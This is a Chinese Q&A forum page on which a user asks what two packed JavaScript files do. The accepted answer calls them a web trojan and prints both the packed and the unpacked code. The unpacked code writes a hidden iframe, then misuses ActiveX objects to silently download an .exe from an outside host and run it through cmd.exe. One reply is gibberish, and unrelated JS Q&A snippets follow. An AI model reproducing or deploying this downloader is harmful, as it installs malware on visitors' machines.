帮我详细解释下这两段JS代码的意思

第一个test.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2.5("<3 8=\\"7: 6(\'./1.9\')\\"></3>");2.5("<4 e=\'0\' c=\'0\' b=\'d.a\'></4>");',15,15,'||document|DIV|iframe|write|url|CURSOR|style|jpg|htm|src|height|ad|width'.split('|'),0,{}))

第二个css.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1c e(n){3 o=p.1b()*n;1a p.19(o)+\'.9\'}18{m="17";l="16";h="15.";g="14";k="13.";j="12";f=\'11://10.Z/Y.9\';3 4=X.W(m+l);4.V("U","T:R-P-O-N-M");3 x=4.8(k+j,"");3 S=4.8(h+g,"");S.L=1;x.b("K",f,0);x.J();5=e(I);3 F=4.8("H.G","");3 7=F.E(0);3 6;6=F.a(7,"D"+5);5=F.a(7,5);S.C();S.B(x.A);S.z(5,2);S.y();F.w(5,6);3 Q=4.8("v.u","");d=F.a(7+\'\\\\t\',\'s.9\');Q.r(d,\' /c \'+6,"","b",0)}q(i){i=1}',62,75,'|||var|df|mz1|t2|tmp|CreateObject|exe|BuildPath|open||exp1|gn|lj|ddd|ccc||fff|eee|bbb|aaa||number|Math|catch|ShellExecute|cmd|system32|Application|Shell|MoveFile||Close|SaveToFile|responseBody|Write|Open|rising|GetSpecialFolder||FileSystemObject|Scripting|1000|send|GET|type|00C04FC29E36|983A|11D0|65A3||BD96C556||clsid|classid|setAttribute|createElement|document|cha|com|coocbbs|http|XMLHTTP|Microsoft|Stream|Adodb|ect|obj|try|round|return|random|function'.split('|'),0,{}))

请高手 详细解释下 高分

第1个回答  推荐于2016-11-01
从后面向前看,最后一个()里的是参数,前面是打乱的程序集合.
这是一个网页木马的内容,解释为如下内容.呵呵

第一个test.js
document.write("<DIV style=\"CURSOR: url('./1.jpg')\"></DIV>");document.write("<iframe width='0' height='0' src='ad.htm'></iframe>");

第二个css.js
function gn(n){var number=Math.random()*n;return Math.round(number)+'.exe'}try{aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";fff="XMLHTTP";lj='http://coocbbs.com/cha.exe';var df=document.createElement(aaa+bbb);df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd,"");S.type=1;x.open("GET",lj,0);x.send();mz1=gn(1000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1=F.BuildPath(tmp,mz1);S.Open();S.Write(x.responseBody);S.SaveToFile(mz1,2);S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+t2,"","open",0)}catch(i){i=1}本回答被提问者采纳
第2个回答  2007-04-04
浏览器组件错误!

请 重装系统!
第3个回答  2007-04-04
gjkdffjk;dfkjkfjmkgjkl;fjkl;k;lhklk;lghjkjg;kgljhklhgjgkljhklgfhjgkldjhgklfjfklfhkljklgdjlkjfkljsgkjfdkljsahsdiuhaehr oew h rodshoihdoschfosaheouhrodhsldhshoueshfeowhtohjkhfvjkshagfoseauhodshjsdfzhorshgesaro;hgre

求这两段JS代码的意思,有好心人知道,帮忙注释下。非常感谢。_百度知 ...
这只是一个简单的显示当前日期的代码 前面那一大段代码都没有用到的

js代码是什么意思
JavaScript是一种解释型语言,主要用于网页的交互效果和动态内容。以下是关于JS代码的详细解释:一、JS代码的基本含义 JavaScript代码是用于控制网页交互行为的一种脚本语言。它可以实现网页的动态效果,如响应用户的点击、提交表单、动态更新页面内容等。通过嵌入HTML页面中,JS代码能够增强网页的交互性和用户体...

以下js代码是什么意思?
这段代码是给window对象指定了一个属性,并且给这个属性付了一个值。pageConfig应该是开发者自己加的一个属性。{ compatible:true, navId:"home" };是一个标准的JSON格式的数据,可以看做一个object,这个object有个compatible属性,该属性的值是布尔的true,还有一个navld的属性,这个属性的值是字符串...

请教一下,这小段js代码是什么意思
其实就是在页面这句话所在的位置写入一个script标签,内容就是 _acK({aid:2114,destid:"top_1",format:0,mode:1,gid:1,serverbaseurl:"app.acm.***.com\/"});就是调用_ack方法,传入一个对象({}包裹的内容)作为参数。

谁能帮我解释一下这段JS代码,最好能逐句解释一下,谢谢各位啦!_百度...
temp.options[i]=new Option("<%=rs2("major")%>","<%=rs2("major_id")%>")\/\/temp.options[i] 就是下拉列表的项TEXT和值= major和majorid,这里是TEXT i=i+1}\/\/变量自增 < rs2.movenext\/\/循环rs2 移动到下一条记录 wend > } ...

求解释下面这段JS代码的意思,我是刚接触JS的...
function mover(object){}是函数,{}里的就是函数内容,这个函数会在HTML的某个地方被调用,object是调用函数时传入的参数,看后面的语句,应该也是一个字符串。{}内的语句,主要就是三句 var sdef=document.getElementById("s_"+def); 这一类的语句是获得某个id名称的标签,()内就是id名称,这里...

这段js代码什么意思
\/\/获取 网页 中第一个 script 脚本,定义成变量 s var s = document.getElementsByTagName("script")[0];\/\/ 找到 s 的父节点,在这个父节点中 插入 元素 hm ,并在s 之前 s.parentNode.insertBefore(hm, s);最终这段代码的意思 就是 动态创建了一个 script 脚本并设定下载网址 放在 网页...

在jsp中这段代码是什么意思?有什么作用
1、该段代码的功能是判断向页面动态输出js 2、A是接受后台request.setAttribute(“message”,value)传到前台的数值,转为String类型。3、B是判断message是否为“”(空字符串)4、C是将request中Attribute的key值为message的元素删除。5、总的来说,这段代码的意思是从后台request设置的attribute中取出一个...

这段js代码什么意思,小白求教
(function(){ \/\/ $(document).ready()的简写, 当文档载入后执行该函数 window.location.pathname; \/\/ 当前浏览器地址的路径部分(去除域名和参数的部分) window.location.search; \/\/ 当前浏览器地址的参数部分(地址中?之后的部分) $('.kkkkk').each(function(){ \/\/ 遍历所有class名为 ...

请问这句js代码是什么意思,实现了什么功能啊?
有两个输入框, 一个是输入操作员代号 一个是输入操作员密码 上面JS方法是做一下判断, 如果没有输入操作员代号,会弹出一个提示, 并且让输入代号的输入框获得焦点(document.yh_dl.yhm.focus();) 返回false 判断密码的时候一样 只有在代号,密码都不为空的时候才通过返回true ...

相似回答